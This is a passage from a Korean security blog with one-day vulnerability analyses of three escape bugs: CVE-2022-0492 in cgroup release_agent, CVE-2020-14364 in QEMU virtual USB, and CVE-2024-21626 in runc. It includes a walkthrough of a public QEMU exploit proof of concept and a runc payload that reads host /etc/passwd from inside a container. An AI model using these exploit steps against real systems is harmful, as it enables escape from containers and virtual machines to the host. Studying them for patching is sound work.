CWE : <a href="http://cwe.mitre.org/data/definitions/862.html">CWE-862</a>, <a href="http://cwe.mitre.org/data/definitions/287.html">CWE-287</a>

Background

CVE-2022-0492를 이해하기 위한 최소한의 기반 지식에 대해서 알아봅시다.

cgroups-v1

cgroups version 1은 2007년에 리눅스 커널에 병합된 기능입니다. cgroups을 통해서 CPU, 메모리 등의 자원 사용량등을 제한할 수 있습니다. 동일한 그룹으로 묶인 프로세스, 프로세스 계층들은 같은 리소스 제한 정책을 갖게 됩니다.

notify_on_release

notify_on_release는 cgroups 서브 시스템에 지정할 수 있는 플래그입니다. 해당 플래그가 활성화되어 있을 경우 cgroup으로 묶인 마지막 태스크가 없어질 때(종료 혹은 다른 cgroup으로 이동될 때), 커널에서는 해당 cgroup 계층의 루트 디렉터리에 존재하는 release_agent에 작성된 명령을 루트 권한으로 실행하게 됩니다. 이를 통해서 cgroup은 비어버린 해당 cgroup에 대한 정리 혹은 후 처리 작업을 진행할 수 있게 됩니다.

RCA

취약점은 컨테이너와 같은 격리된 환경의 사용자가 capability 제약이 있는 상태의 루트 권한을 갖고 있거나 또는 CAP_DAC_OVERRIDE caability를 갖고 있을 경우 악용이 가능합니다.

이는 해당 커밋 디스크립션에서도 확인할 수 있습니다.

cgroup-v1: Require capabilities to set release_agent
The cgroup release_agent is called with call_usermodehelper.  The function
call_usermodehelper starts the release_agent with a full set fo capabilities.
Therefore require capabilities when setting the release_agaent.

Reported-by: Tabitha Sable <tabitha.c.sable@gmail.com>
Tested-by: Tabitha Sable <tabitha.c.sable@gmail.com>
Fixes: 81a6a5cdd2c5 ("Task Control Groups: automatic userspace notification of idle cgroups")
Cc: stable@vger.kernel.org # v2.6.24+
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Tejun Heo <tj@kernel.org>

컨테이너가 존재하는 cgroup의 루트 경로에 release_agent가 있는 경우 루트 권한을 갖고 있는 컨테이너 내의 사용자가 해당 파일을 수정하는 과정에서 다음 취약점 패치에서 보는 것과 같이 capability 체크가 미흡합니다. 즉, release_agent로 인해 실행되는 프로세스는 모든 capability를 갖지만, 이를 실행시킬 수 있는 수정 기능에는 capability 제약이 누락되어있습니다.

diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index 41e0837a5a0bda..0e877dbcfeea9c 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -549,6 +549,14 @@ static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
 
 	BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
 
+	/*
+	 * Release agent gets called with all capabilities,
+	 * require capabilities to set release agent.
+	 */
+	if ((of->file->f_cred->user_ns != &init_user_ns) ||
+	    !capable(CAP_SYS_ADMIN))
+		return -EPERM;
+
 	cgrp = cgroup_kn_lock_live(of->kn, false);
 	if (!cgrp)
 		return -ENODEV;

이로 인해 컨테이너 내에서 모든 capability(CAP_SYS_ADMIN)를 갖고 있지 않은 root 혹은 CAP_DAC_OVERRIDE capability만 갖는 공격자는 release_agent를 수정하여 모든 capability(CAP_SYS_ADMIN)를 갖는 루트 권한으로 임의의 명령을 사용하여 격리된 환경을 탈출하여 명령어를 실행시킬 수 있습니다.

PoC

열심히 작성중 😵‍💫

Video

열심히 작성중 😵‍💫

Patch

앞선 패치에서 봤 듯, release_agent를 수정하기 위한 권한을 체크합니다. 이로써 공격자는 패치 이전처럼 제한된 Capability를 가지고 release_agent를 수정하는 것이 불가능해집니다.

diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index 41e0837a5a0bda..0e877dbcfeea9c 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -549,6 +549,14 @@ static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
 
 	BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
 
+	/*
+	 * Release agent gets called with all capabilities,
+	 * require capabilities to set release agent.
+	 */
+	if ((of->file->f_cred->user_ns != &init_user_ns) ||
+	    !capable(CAP_SYS_ADMIN))
+		return -EPERM;
+
 	cgrp = cgroup_kn_lock_live(of->kn, false);
 	if (!cgrp)
 		return -ENODEV;

Mitigation

취약점에 대한 패치가 적용된 커널을 사용합니다.
cgroup-v1을 비활성화 합니다.
컨테이너에 대한 Capability을 제한합니다.
커널이 제공하는 보안 기능등을 활성화 시킵니다. (Apparmor, SELinux, Seccmop)

References

<a href="https://nvd.nist.gov/vuln/detail/cve-2022-0492">https://nvd.nist.gov/vuln/detail/cve-2022-0492</a>
<a href="https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained">https://www.hackthebox.com/blog/cve-2022-04920-carpe-diem-explained</a>
<a href="https://blog.alyac.co.kr/4538">https://blog.alyac.co.kr/4538</a>
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af</a>
<a href="https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master">https://github.com/T1erno/CVE-2022-0492-Docker-Breakout-Checker-and-PoC/tree/master</a>

CVE-2020-14364

Wed, 12 Feb 2025 15:00:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게 된 QEMU 가상머신 탈출 원 데이 취약점 관련 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

이번에 알아볼 취약점은 <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-14364">2020년 8월 31일에 공개된</a> QEMU의 가상 USB 디바이스 처리 관련 로직에서 발생한 취약점입니다. 5.2.0 이전 버전의 QEMU가 영향을 받습니다.

QEMU에서는 USB 스펙에 맞춰 가상 USB를 구현하고 있습니다. 취약점은 구현된 부분 중 USB 스펙에 해당하는 SETUP TOKEN을 처리하는 로직인 do_token_setup에서 잘못 설정된 USBDevice의 멤버 값과 이에 대한 적절한 후속 조치가 없어 발생하게됩니다. 이로인해 공격자는 do_token_in과 do_token_out 함수를 통해 OOB Read/Write를 수행할 수 있으며, 가상 USB가 존재하는 <a href="https://www.qemu.org/docs/master/system/introduction.html">QEMU 시스템 에뮬레이션</a>에서 탈출하여 호스트 머신에 임의의 코드를 실행 시킬 수 있습니다.

해당 취약점을 분석하면서 취약점 자체를 이해하기 위한 시간보다는 코드로 작성된 USB 구현과 이를 악용하는 exploit poc를 이해하기 위해 USB 스펙과 HCI(Host Controller Interface) 스펙 문서를 읽는데 할애한 시간이 많았습니다. 아직 미흡한 점이 많아 설명에 오류 및 수정해야하는 부분이 있다면 피드백 해주시면 감사하겠습니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해 본 결과로 작성하게 된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해 주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이 된 자료는 다음과 같습니다.

<a href="https://nvd.nist.gov/vuln/detail/CVE-2020-14364">https://nvd.nist.gov/vuln/detail/CVE-2020-14364</a>
<a href="https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/">https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/</a>
<a href="https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&%20H.%20Qu.pdf">https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&%20H.%20Qu.pdf</a>
<a href="https://www.youtube.com/watch?v=dHZSAiLKvSY">https://www.youtube.com/watch?v=dHZSAiLKvSY</a>

Vuln

CVE-ID : <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14364">CVE-2020-14364</a>
CWE : <a href="http://cwe.mitre.org/data/definitions/125.html">CWE-125</a>, <a href="http://cwe.mitre.org/data/definitions/787.html">CWE-787</a>

Background

QEMU는 리눅스에서 동작하는 잘 알려진 가상화 소프트웨어로 주변 장치들 역시 코드로 구현되어 있습니다. CVE-2020-14364는 이렇게 코드로 구현된 가상 주변 기기 중, USB를 구현하는 코드에서 발생하게 됩니다. USB를 코드로 구현하는 과정에서 발생한 취약점이기 때문에 USB의 통신 방식을 이해하는 것이 중요합니다. 또한 공격 코드를 이해하기 위한 HCI 스펙에 대한 어느 정도의 이해 역시 필요합니다. 간략하게 취약점과 공격을 이해하기 위한 내용에 대해서 살펴봅시다.

USB - Transfer

USB가 데이터를 전송하기 위한 단위입니다. 목적 및 특징에 따라 다음과 같은 총 4개의 Transfer Type을 갖습니다.(USB Specification Revision 2.0 - 5.4 Transfer Types)

Control Transfers
Interrupt Transfers
Isochronous Transfers
Bulk Transfers

이 중 취약점은 Control Transfer에 해당하는 부분에서 발생하기 때문에 이쪽 부분에 대해서 알아보도록 하겠습니다.

USB - Control Transfers

Control Transfers는 USB를 설정할 때 쓰이는 설정, 명령, 상태 기능을 위해 설계된 Transfer Type 입니다.

Control Transfers는 다음과 같이 3개의 Transaction으로 구성됩니다.

그리고 각각의 Transaction은 패킷들로 구성됩니다. 즉, 위에서 나타난 하나의 Transaction으로 묶인 것들이 패킷입니다.

공격은 위에 나타난 Transaction 중 Setup Transaction과 Data Transaction을 이용해서 진행하게됩니다.

각각의 Transaction 가장 앞단의 Token 패킷은 다음과 같은 필드를 갖습니다. <img src="/assets/img/CVE-2020-14364/token_packet_field_formats.png"> PID는 현재 전송된 패킷의 타입을 의미합니다. 이때 Control Transfer에서 사용되는 PID의 의미는 다음과 같습니다.

SETUP : Control Trnasfer에서의 Setup Transaction의 시작
IN : Host가 Device로부터 데이터 요청(데이터 읽기 요청)
OUT : Host가 Device로 데이터 전송(데이터 쓰기 요청)

USB - Setup transaction setup packet

Setup transaction의 Setup 패킷의 데이터 필드에 대한 설명입니다. <img src="/assets/img/CVE-2020-14364/setup_packet_data.png"/>

UHCI(Universal Host Controller Interface) - USB Host Controller I/O Registers

가상 USB 공격 코드를 이해하려면 HCI(Host Controller Interface) 스펙에 대해서 알아야합니다. 이 중 페이로드에서 쓰인 UHCI 스펙에 대해서 간략하게 알아보도록 합시다.

먼저 USB에 대한 처리를 위해 UHCI에서는 다음과 같이 구성된 Host Controller I/O 레지스터를 제공합니다. 앞으로 알아볼 exploit에서는 Host Controller I/O 레지스터에 해당하는 부분을 메모리에 매핑한 뒤 PORT I/O를 이용해 USB에 대한 처리를 수행합니다.

각각의 레지스터에 설정할 수 있는 값 및 구체적인 동작은 UHCI 스펙에서 확인할 수 있습니다.

UHCI(Universal Host Controller Interface) - Transfer Descriptor (TD)

다음은 공격 코드에서 볼 수 있는 TD(Transfer Descriptor)는 USB로 전송할 데이터의 특징 및 포인터를 갖고 있는 구조체입니다.

다음과 같은 형태로 구성되어있습니다. <img src="/assets/img/CVE-2020-14364/td.png"> USB 패킷 데이터로 변환되어서 전송될 데이터의 포인터 및 토큰 값에 대한 정보를 갖고 있습니다.

TD 구조체에 정보를 설정해주면 다음과 같은 처리를 거쳐 USB 디바이스에 패킷이 전송됩니다.

<img src="/assets/img/CVE-2020-14364/Processing_Transfer_Descriptors.png"> 즉, TD 하나는 하나의 Transaction을 만들 수 있습니다.

이러한 TD들은, 다음과 같은 레이아웃으로 관리됩니다. 여기 나와있는 Frame List에 대한 설명은 스펙을 참조하시길 바랍니다.(PoC에 Frame List를 레지스터에 등록하는 과정이 있습니다.) <img src="/assets/img/CVE-2020-14364/schedule_layout.png">

여기까지 봤다면 PoC에서 TD 관련 및 서브루틴들에 대해서 이해하기 어렵지 않을겁니다.

RCA

RCA에 나온 코드는 QEMU 5.1.0 버전의 코드입니다.

취약점은 QEMU의 가상 USB가 TOKEN 패킷을 처리하는 곳인 hw/usb/core.c에서 발생합니다.

QEMU에서 TOKEN 패킷은 다음과 같은 usb_process_one에서 설정된 토큰 종류에 따라서 처리가 결정됩니다.

static void usb_process_one(USBPacket *p)
{
    USBDevice *dev = p->ep->dev;

    /*
     * Handlers expect status to be initialized to USB_RET_SUCCESS, but it
     * can be USB_RET_NAK here from a previous usb_process_one() call,
     * or USB_RET_ASYNC from going through usb_queue_one().
     */
    p->status = USB_RET_SUCCESS;

    if (p->ep->nr == 0) {
        /* control pipe */
        if (p->parameter) {
            do_parameter(dev, p);
            return;
        }
        switch (p->pid) {
        case USB_TOKEN_SETUP:
            do_token_setup(dev, p);
            break;
        case USB_TOKEN_IN:
            do_token_in(dev, p);
            break;
        case USB_TOKEN_OUT:
            do_token_out(dev, p);
            break;
        default:
            p->status = USB_RET_STALL;
        }
    } else {
        /* data pipe */
        usb_device_handle_data(dev, p);
    }
}

Control Transfer에서 TOKEN SETUP을 받은 USB는 do_token_setup을 통해 SETUP 패킷을 처리하려합니다. 문제는 여기서 발생합니다.

현재 USB Device 정보로 설정하고 있는 setup_len이 에러 처리 로직전에 이미 설정되고 있으며, setup_len이 USB Device의 data_buf 크기보다 커져서 에러 처리 로직이 수행되어도 앞서 설정된 setup_len을 초기화하거나 처리하는 로직이 존재하지 않습니다. 이를 통해 OOB를 유도 할 수 있습니다.

static void do_token_setup(USBDevice *s, USBPacket *p)
{
	..
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
    if (s->setup_len > sizeof(s->data_buf)) {
        fprintf(stderr,
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
                s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;
    }
	..
}

해당 부분에서의 잘못된 처리가 어떻게 do_token_in과 do_token_out에서 OOB를 유도하는지는 PoC 부분에서 알아봅시다.

PoC

분석을 진행한 PoC는 <a href="https://github.com/y-f00l/CVE-2020-14364">여기</a>에서 확인할 수 있습니다.

OOB Read에 해당하는 부분에 대해서 분석해보겠습니다. 이해가 안되는 부분이 있다면 앞서 작성한 USB, UHCI에 스펙에 관한 내용을 보시길 바랍니다.

void exp(void) {
    int i;
    init(); //alloc a big dma memory
    do_setup(); //init the s->setup_len to 0xf0, in order to set the s->state = SETUP_DATA
    do_set_lenth(USB_DIR_IN); //init the s->setup_len to 0x7fe to oob read
    for(i = 0; i < 4; i++)
        do_read(0x7fe); //oob read
    base = *(uint64_t *)(data_buf + 7) - 0x73D513;
    heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;
    system = base + 0x2ba600;
    uhci_state = heap_base + 0xDA48E0;
    data_buf_addr = heap_base + 0xEB43EC; 
    main_loop_tlg = base + 0x129e0c0;
    printk(KERN_INFO"[+]the program base is: 0x%llx", base);
    printk(KERN_INFO"[+]the heap    base is: 0x%llx", heap_base);
    printk(KERN_INFO"[+]the uhci   state is: 0x%llx", uhci_state);
    printk(KERN_INFO"[+]the system  base is: 0x%llx", system);
    printk(KERN_INFO"[+]the buffer  addr is: 0x%llx", data_buf_addr);
//--------------------------------------------------------------------//
    arb_write(main_loop_tlg, data_buf_addr + 0xc00);
    pmio_write(0, 2);
}

먼저 do_setup에 대한 부분입니다. 주석에 나와있듯, setup_len을 유효한 값으로 설정해줍니다.

do_setup(); //init the s->setup_len to 0xf0, in order to set the s->state = SETUP_DATA

do_setup의 코드를 보면 알 수 있듯, SETUP Transaction을 발생시킵니다. 여기서 길이를 0xf0로 지정하고 Setup 패킷의 bmRequestType을 USB_DIR_IN로 합니다.

여기서 USB_DIR_IN은 이후 오게될 Data Transaction에서 전송할 데이터 길이를 의미합니다.

void do_setup(void) {
    set_td(0x7, USB_TOKEN_SETUP);
    set_length(0xf0, USB_DIR_IN);
    reset_uhci();
    enable_port();
    set_frame_base();
    pmio_write(0, 1);
    mdelay(100);
}

해당 코드로 인해 USB의 do_token_setup이 호출되고 처리됩니다.이 처리로 인해 s->setup_state는 SETUP_STATE_DATA 값을 갖게됩니다.

static void do_token_setup(USBDevice *s, USBPacket *p)
{
    ..
    if (s->setup_buf[0] & USB_DIR_IN) {
        usb_device_handle_control(s, p, request, value, index,
                                  s->setup_len, s->data_buf);
        if (p->status == USB_RET_ASYNC) {
            s->setup_state = SETUP_STATE_SETUP;
        }
        if (p->status != USB_RET_SUCCESS) {
            return;
        }

        if (p->actual_length < s->setup_len) {
            s->setup_len = p->actual_length;
        }
        s->setup_state = SETUP_STATE_DATA;
    } 
	..
}

다음으로는 SETUP Transaction을 발생시켜 s->setup_len을 설정합니다.

do_set_lenth(USB_DIR_IN);

do_set_length의 코드는 다음과 같습니다.

void do_set_lenth(uint8_t option) {
    set_td(0x7, USB_TOKEN_SETUP);
    set_length(0xdead, option);
    reset_uhci();
    enable_port();
    set_frame_base();
    pmio_write(0, 1);
    mdelay(100);
}

이때 s->setup_len은 0xdead로 설정되고, s->setup_state는 별다른 처리없이 SETUP_STATE_DATA로 남아 있습니다.

static void do_token_setup(USBDevice *s, USBPacket *p)
{
    int request, value, index;

    if (p->iov.size != 8) {
        p->status = USB_RET_STALL;
        return;
    }

    usb_packet_copy(p, s->setup_buf, p->iov.size);
    s->setup_index = 0;
    p->actual_length = 0;
    s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];
    if (s->setup_len > sizeof(s->data_buf)) {
        fprintf(stderr,
                "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
                s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;
    }
	...
}

다시 PoC를 보면 위에서 설정된 값을 통해 OOB Read를 수행합니다.

for(i = 0; i < 4; i++)
	do_read(0x7fe); //oob read
base = *(uint64_t *)(data_buf + 7) - 0x73D513;
heap_base = *(uint64_t *)(data_buf + 15) - 0xEB4240;
system = base + 0x2ba600;
uhci_state = heap_base + 0xDA48E0;
data_buf_addr = heap_base + 0xEB43EC; 
main_loop_tlg = base + 0x129e0c0;
printk(KERN_INFO"[+]the program base is: 0x%llx", base);
printk(KERN_INFO"[+]the heap    base is: 0x%llx", heap_base);
printk(KERN_INFO"[+]the uhci   state is: 0x%llx", uhci_state);
printk(KERN_INFO"[+]the system  base is: 0x%llx", system);
printk(KERN_INFO"[+]the buffer  addr is: 0x%llx", data_buf_addr);

do_read를 봅시다. DATA Transaction중 TOKEN IN에 해당하는 Transaction을 발생시키고 있습니다.

void do_read(uint16_t len) {
    set_td(len, USB_TOKEN_IN);
    set_length(0xdead, USB_DIR_IN);
    reset_uhci();
    enable_port();
    set_frame_base();
    pmio_write(0, 1);
    mdelay(100);
}

위 코드에 의해서 다음 do_token_in 로직이 수행됩니다. 이때 len은 s->setup_len값을 활용하여 계산하게됩니다 이 값은 앞서 0xdead로 설정해뒀습니다. 또한 s->setup_state 역시 앞선 과정에서 SETUP_STATE_DATA로 만들어두었기 때문에 OOB Read가 발생합니다.

static void do_token_in(USBDevice *s, USBPacket *p)
{
..
    switch(s->setup_state) {
..
    case SETUP_STATE_DATA:
        if (s->setup_buf[0] & USB_DIR_IN) {
            int len = s->setup_len - s->setup_index;
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);
            s->setup_index += len;
            if (s->setup_index >= s->setup_len) {
                s->setup_state = SETUP_STATE_ACK;
            }
            return;
        }
..
}

..
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
    QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

    assert(p->actual_length >= 0);
    assert(p->actual_length + bytes <= iov->size);
    switch (p->pid) {
    case USB_TOKEN_SETUP:
    case USB_TOKEN_OUT:
        iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
        break;
    case USB_TOKEN_IN:
        iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
        break;
    default:
        fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
        abort();
    }
    p->actual_length += bytes;
}
..

위 코드의 s->data_buf부터 전달된 바이트만큼 읽게됩니다. 간단하게 정리하면 다음과 같이 메타데이터를 조작하기 위한 Setup Transaction 두번, 실제로 데이터를 읽기 위한 Data Transaction 한번으로 경계를 넘어가 값을 읽을 수 있습니다. <img src="/assets/img/CVE-2020-14364/oob_read_flow.png">

Patch

QEMU 5.1.0(왼쪽)와 5.2.0(오른쪽)을 디핑해보면 다음과 같은 함수들에서 패치가 이뤄졌음을 알 수 있습니다.

hw/usb/core.c::do_token_setup <img src="/assets/img/CVE-2020-14364/diff_do_token_setup.png"/>

hw/usb/core.c::do_parameter <img src="/assets/img/CVE-2020-14364/diff_do_parameter.png">

두 함수 모두 연산에 사용할 지역 변수 setup_len을 만들고 이를 활용하여 연산을 진행하고나서, 해당 값에 문제가 없을때만 s->setup_len = setup_len을 통해 필드를 설정해주는 모습을 볼 수 있습니다.

References

<a href="https://nvd.nist.gov/vuln/detail/CVE-2020-14364">https://nvd.nist.gov/vuln/detail/CVE-2020-14364</a>
<a href="https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/">https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/</a>
<a href="https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&%20H.%20Qu.pdf">https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20A%20Black%20Box%20Escape%20Of%20Qemu%20Based%20On%20The%20USB%20Device%20-%20L.%20Kong,%20Y.%20Zhang%20&%20H.%20Qu.pdf</a>
<a href="https://www.youtube.com/watch?v=dHZSAiLKvSY">https://www.youtube.com/watch?v=dHZSAiLKvSY</a>

CVE-2024-21626

Wed, 08 Jan 2025 15:00:00 GMT

Intro

TOOR 팀 활동을 하며 분석하게된 도커 컨테이너 탈출과 관련된 원데이 취약점에 관한 글입니다. <p align="center"><img src="/assets/img/toor.png"/></p>

이번에 알아볼 취약점은 2024년 1월 31일에 공개된 도커 컨테이너의 Low-Level 컨테이너 런타임인 runc와 관련된 취약점입니다. <p align="center"><img src="/assets/img/CVE-2024-21626/container_runtimes.png"><a href="https://miro.medium.com/v2/resize:fit:828/format:webp/1CZD4P0OpVML_vsO7RNRevA.png">https://miro.medium.com/v2/resize:fit:828/format:webp/1CZD4P0OpVML_vsO7RNRevA.png</a></p> 도커 컨테이너의 런타임 중 Low-Level에 해당하는 runc의 1.1.11 이전 버전에서 발생한 취약점으로, runc가 컨테이너를 생성하는 과정중 적절하게 처리하지 않아 노출된 파일 디스크립터로 인해 발생하는 취약점 입니다. 이로 인해 사용자는 호스트 운영체제의 파일 시스템에 접근할 수 있게되고 이를 이용해 도커 컨테이너에서 탈출하여 호스트에 접근까지 가능할 수 있습니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.

<a href="https://nvd.nist.gov/vuln/detail/cve-2024-21626">https://nvd.nist.gov/vuln/detail/cve-2024-21626</a>
<a href="https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv">https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv</a>
<a href="https://nitroc.org/en/posts/cve-2024-21626-illustrated/">https://nitroc.org/en/posts/cve-2024-21626-illustrated/</a>
<a href="https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626">https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626</a>

Vuln

CVE-ID : CVE-2024-21626
CWE-: CWE-668(Exposure of Resource to Wrong Sphere), CWE-403(Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak'))

RCA

해당 취약점은 runc에서 컨테이너를 생성하는 과정중 열린 /sys/fs/cgroup을 적절하게 닫지 않고 컨테이너를 생성하는 행위 및 Current Working Directory의 검증 미흡에 의해서 발생합니다. 이로인해 공격자는 생성된 컨테이너 내에서 /proc/self/fd/<파일디스크립터>의 형태로 호스트 운영체제의 파일 시스템에 접근할 수 있게됩니다. 취약점으로 인해 호스트 파일 시스템의 /sys/fs/cgroup이 /proc/self/fd/7에 매핑될 경우(이외에도 내부 메커니즘에 의해서 할당되는 파일 디스크립터 패턴이 존재합니다. 즉, 반드시 7에 매핑되어야만 하는것은 아닙니다.) 도커파일의 지시어인 WORKDIR를 다음과 같이 설정하게되면 컨테이너내에서 호스트의 파일 시스템에 접근이 가능합니다.

WORKDIR /proc/self/fd/7

위와 같은 명령어로 호스트 파일 시스템 네임스페이스 내에서 현재 작업 디렉터리를 갖게됩니다. 즉, 공격자는 컨테이너 외부의 호스트 운영체제의 자원이 보이는 상황입니다.

만약 컨테이너내의 사용자의 UID가 0일 경우 이렇게 탈출된 파일 시스템에서 ssh키를 추가하는 형태나 파일을 조작 및 삽입하는 형태의 공격을 시도할 수 있습니다.

공격자는 다음과 같은 페이로드로 호스트 내부의 파일에 접근할 수 있게됩니다.

cat /proc/1/cwd/../../../../../../../../../../../../../etc/passwd

이 취약점은 도커 명령어로 컨테이너 내에서 다른 컨테이너를 생성할 수 있을 경우에도 비슷하게 악용할 수 있습니다.(공격 원리는 같습니다.) /proc/self/fd/7와 같이 닫히지 않은 호스트 파일 디스크립터를 심볼릭 링크를 통해 컨테이너내의 디렉터리와 매핑시켜준 후, 또 다른 컨테이너를 실행시킬때 -w(cwd 지정)을 통해 이를 매핑시켜 호스트의 파일 시스템에 접근할 수 있습니다.

Patch

다음과 같이 4개의 부분이 추가되었습니다.

작업 디렉터리 검증(<a href="https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a">8e1cd2f</a>)

취약점의 악용은 Current Working Directory 변경을 통해 진행됩니다. 이를 방지하는 cwd를 검증하는 코드가 추가되었습니다.

// verifyCwd ensures that the current directory is actually inside the mount
// namespace root of the current process.
func verifyCwd() error {
 	// getcwd(2) on Linux detects if cwd is outside of the rootfs of the
	// current mount namespace root, and in that case prefixes "(unreachable)"
	// to the returned string. glibc's getcwd(3) and Go's Getwd() both detect
	// when this happens and return ENOENT rather than returning a non-absolute
	// path. In both cases we can therefore easily detect if we have an invalid
	// cwd by checking the return value of getcwd(3). See getcwd(3) for more
	// details, and CVE-2024-21626 for the security issue that motivated this
	// check.
	//
	// We have to use unix.Getwd() here because os.Getwd() has a workaround for
	// $PWD which involves doing stat(.), which can fail if the current
	// directory is inaccessible to the container process.
	if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
		return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
	} else if err != nil {
		return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
	} else if !filepath.IsAbs(wd) {
		// We shouldn't ever hit this, but check just in case.
		return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
	}
	return nil
}
...
	// Make sure our final working directory is inside the container.
	if err := verifyCwd(); err != nil {
		return err
	}

컨테이너 생성(execve)전 열린 파일 디스크립터 닫기 작업(<a href="https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f">f2f1621</a>)

취약점은 컨테이너 생성 이전에 열린 파일 디스크립터로 인해 발생합니다. 이와 같은 문제를 방지하기 위해 컨테이너를 생성하기 전에 열린 파일 디스크립터를 닫는 작업을 하는 코드가 추가되었습니다.

// CloseExecFrom sets the O_CLOEXEC flag on all file descriptors greater or
// equal to minFd in the current process.
func CloseExecFrom(minFd int) error {
	// Use close_range(CLOSE_RANGE_CLOEXEC) if possible.
	if haveCloseRangeCloexec() {
		err := unix.CloseRange(uint(minFd), math.MaxUint, unix.CLOSE_RANGE_CLOEXEC)
		return os.NewSyscallError("close_range", err)
	}
	// Otherwise, fall back to the standard loop.
	return fdRangeFrom(minFd, unix.CloseOnExec)
}
//go:linkname runtime_IsPollDescriptor internal/poll.IsPollDescriptor
// In order to make sure we do not close the internal epoll descriptors the Go
// runtime uses, we need to ensure that we skip descriptors that match
// "internal/poll".IsPollDescriptor. Yes, this is a Go runtime internal thing,
// unfortunately there's no other way to be sure we're only keeping the file
// descriptors the Go runtime needs. Hopefully nothing blows up doing this...
func runtime_IsPollDescriptor(fd uintptr) bool //nolint:revive
// UnsafeCloseFrom closes all file descriptors greater or equal to minFd in the
// current process, except for those critical to Go's runtime (such as the
// netpoll management descriptors).
//
// NOTE: That this function is incredibly dangerous to use in most Go code, as
// closing file descriptors from underneath *os.File handles can lead to very
// bad behaviour (the closed file descriptor can be re-used and then any
// *os.File operations would apply to the wrong file). This function is only
// intended to be called from the last stage of runc init.
func UnsafeCloseFrom(minFd int) error {
	// We cannot use close_range(2) even if it is available, because we must
	// not close some file descriptors.
	return fdRangeFrom(minFd, func(fd int) {
		if runtime_IsPollDescriptor(uintptr(fd)) {
			// These are the Go runtimes internal netpoll file descriptors.
			// These file descriptors are operated on deep in the Go scheduler,
			// and closing those files from underneath Go can result in panics.
			// There is no issue with keeping them because they are not
			// executable and are not useful to an attacker anyway. Also we
